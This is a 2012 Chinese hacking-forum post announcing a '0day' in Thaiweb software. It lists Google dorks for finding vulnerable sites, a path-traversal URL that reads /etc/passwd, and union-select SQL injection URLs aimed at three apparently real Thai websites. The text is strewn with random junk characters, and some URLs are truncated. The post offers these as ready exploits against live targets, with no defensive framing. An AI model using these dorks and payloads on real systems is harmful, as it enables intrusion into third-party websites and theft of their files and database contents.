找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2362|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Google之:/ R1 E  c0 `0 x* `/ ^" ]

+ w5 V. i' f. A/ T) Y- i6 hintext:powered by Thaiweb
# |- _+ |2 O% z# a2 n' j3 _1 ^9 d1 @
inurl:index.php?page=board.php7 k/ o3 k4 T( q+ ]/ r# t4 q

, V5 Q% P2 g3 l& i7 Y5 Q7 `
# X% N/ w" d5 a2 ]+ l  A- w& h
. X5 }3 H# d" l8 G: g" w; W利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd! u/ u: l  @+ d( e: c

% a! P8 y% a" x+ B+ ^( \5 _
7 }- W" z: H3 R2 T1 y' V/ Z
* a! {- h( C# a( {利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'. y- N0 q8 P$ h4 H( j8 f

5 J& s* V+ l9 ]* D+ Y7 M: L) W$ O 3 z" x: g! U7 f5 m5 X3 {  s
2 M7 j. f& B3 f) O( f' c
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--/ i- s5 }- t( E9 K' h' l2 q

) u% x6 J. R- }* J, @7 Yhttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--) B/ ~$ |. Y1 [; e3 a( e9 m
: O0 ?7 N8 H! {
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--* Y# w8 B' f: e, N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表